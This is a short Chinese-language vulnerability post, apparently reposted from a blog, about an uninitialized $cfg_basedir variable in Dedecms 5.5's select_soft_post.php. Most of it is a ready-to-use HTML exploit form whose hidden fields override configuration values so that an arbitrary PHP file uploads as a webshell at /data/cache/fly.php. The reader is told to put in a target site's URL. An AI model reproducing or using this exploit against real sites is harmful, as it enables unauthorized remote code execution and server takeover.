Dedecms select_soft_post.php页面变量未初始漏洞
2009年10月26日星期一 | | |影响版本：Dedecms 5.5
漏洞产生文件位于include\dialog\select_soft_post.php，其变量$cfg_basedir没有正确初始化，导致可以饶过身份认证和系统变量初始化文件，导致可以上传任意文件到指定目录。其漏洞利用前提是register_globals=on,可以通过自定义表单为相关的变量赋值。代码如下：
<html><head><title>Dedecms v55 RCE Exploit Codz By flyh4t</title></head> <body style="FONT-SIZE: 9pt">---------- Dedecms v55 RCE Exploit Codz By flyh4t ---------- <br /><br /> <form action=http://url/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'> <input type='hidden' name='activepath' value='/data/cache/' /> <input type='hidden' name='cfg_basedir' value='../../' /> <input type='hidden' name='cfg_imgtype' value='php' /> <input type='hidden' name='cfg_not_allowall' value='txt' /> <input type='hidden' name='cfg_softtype' value='php' /> <input type='hidden' name='cfg_mediatype' value='php' /> <input type='hidden' name='f' value='form1.enclosure' /> <input type='hidden' name='job' value='upload' /> <input type='hidden' name='newname' value='fly.php' /> Select U Shell <input type='file' name='uploadfile' size='25' /> <input type='submit' name='sb1' value='确定' /> </form> <br /> It's just a exp for the bug of Dedecms V55...<br /> Need register_globals = on...<br /> Fun the game,get a webshell at /data/cache/fly.php...<br /> </body> </html> |
请自行修改form表单对应的网站域名url。
From:http://www.nuanyue.com/dedecms-select_soft_post-php%e9%a1%b5%e9%9d%a2%e6%9c%aa%e5%88%9d%e5%a7%8b%e6%bc%8f%e6%b4%9e.html
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